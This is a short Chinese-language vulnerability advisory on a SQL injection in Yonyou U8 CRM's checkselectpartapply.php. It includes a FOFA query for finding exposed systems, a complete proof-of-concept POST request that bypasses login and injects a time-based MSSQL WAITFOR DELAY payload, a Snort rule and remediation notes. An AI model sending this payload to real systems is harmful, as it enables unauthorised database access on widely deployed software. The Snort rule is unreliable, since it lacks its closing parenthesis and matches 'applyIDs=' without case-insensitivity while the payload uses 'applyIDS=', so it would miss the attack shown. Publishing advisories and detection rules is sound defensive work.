

用友U8 CRM checkselectpartapply.php SQL注入漏洞

用友U8 CRM checkselectpartapply.php SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

用友U8CRM

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="用友U8CRM"

POC/EXP:

```
POST /parttrtn/checkselectpartapply.php?DontCheckLogin=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bgsesstimeout-;
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Connection: close

applyIDS=1);WAITFOR+DELAY+'0:0:3'--
```



sonrt规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (  
  msg:"Yonyou U8 CRM - MSSQL Time-Based SQLi in checkselectpartapply.php";  
  flow:to_server,established;  
  content:"POST"; http_method;  
  content:"/parttrtn/checkselectpartapply.php"; http_uri;  
  content:"DontCheckLogin=1"; http_uri;  
  content:"applyIDs="; http_client_body;  
  pcre:"/applyIDs=[^&]*\)[\s;]*WAITFOR[\s+]*DELAY[\s+]*'0:0:\d+'--/i";  
  metadata:service http;  
  metadata:affected_product "用友U8 CRM系统";  
  metadata:vulnerability_type "MSSQL Time-Based SQL Injection";  
  classtype:sql-injection;  
  sid:1000382;  
  rev:1;
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。